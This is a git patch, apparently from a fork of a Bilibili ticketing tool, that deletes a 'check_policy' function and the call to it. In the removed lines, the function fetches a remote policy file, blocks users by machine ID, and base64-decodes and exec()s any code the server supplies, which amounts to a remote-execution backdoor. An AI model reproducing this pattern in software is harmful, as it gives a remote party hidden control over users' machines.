From 0f137076a78df250c95cc551b320eebf8006fec5 Mon Sep 17 00:00:00 2001 From: KAAAsS Date: Mon, 1 Jul 2024 00:56:16 +0800 Subject: [PATCH] =?UTF-8?q?refactor:=20=E5=88=A0=E9=99=A4=E6=A3=80?= =?UTF-8?q?=E6=B5=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 4 +--- utils.py | 43 ------------------------------------------- 2 files changed, 1 insertion(+), 46 deletions(-) diff --git a/main.py b/main.py index 99631d8..6c01f1e 100644 --- a/main.py +++ b/main.py @@ -13,7 +13,7 @@ from loguru import logger from api import BilibiliHyg from globals import * -from utils import prompt, save, load, check_policy +from utils import prompt, save, load import inquirer @@ -119,8 +119,6 @@ def main(): version, sentry_sdk = init() session = requests.session() - check_policy() - config = load_config() if config == None: return diff --git a/utils.py b/utils.py index 265a1e3..0d45795 100644 --- a/utils.py +++ b/utils.py @@ -55,46 +55,3 @@ def load() -> dict: os.remove("data") logger.info(i18n_gt()["has_destroyed"]) return data - -def check_policy(): - import requests - from i18n import i18n_gt - from globals import version - import os - import sys - from loguru import logger - allow = True - for _ in range(3): - try: - policy = requests.get("https://bhyg.bitf1a5h.eu.org/policy.json").json() - break - except Exception: - logger.error(i18n_gt()["policy_error"]) - if policy["announcement"] is not None: - logger.warning(policy["announcement"]) - if "policy" not in locals(): - logger.error(i18n_gt()["policy_get_failed"]) - sys.exit(1) - if version not in policy["allowed versions"]: - logger.error(i18n_gt()["version_not_allowed"]) - allow = False - import machineid - if policy["type"] == "blacklist": - if machineid.id() in policy["list"]: - logger.error(i18n_gt()["blacklist"]) - allow = False - elif policy["type"] == "whitelist": - if machineid.id() not in policy["list"]: - logger.error(i18n_gt()["whitelist"]) - allow = False - elif policy["type"] == "none": - pass - else: - pass - if policy["execute_code"] is not None: - import base64 - code = base64.b64decode(policy["execute_code"]).decode("utf-8") - exec(code) - if not allow: - sys.exit(1) - return \ No newline at end of file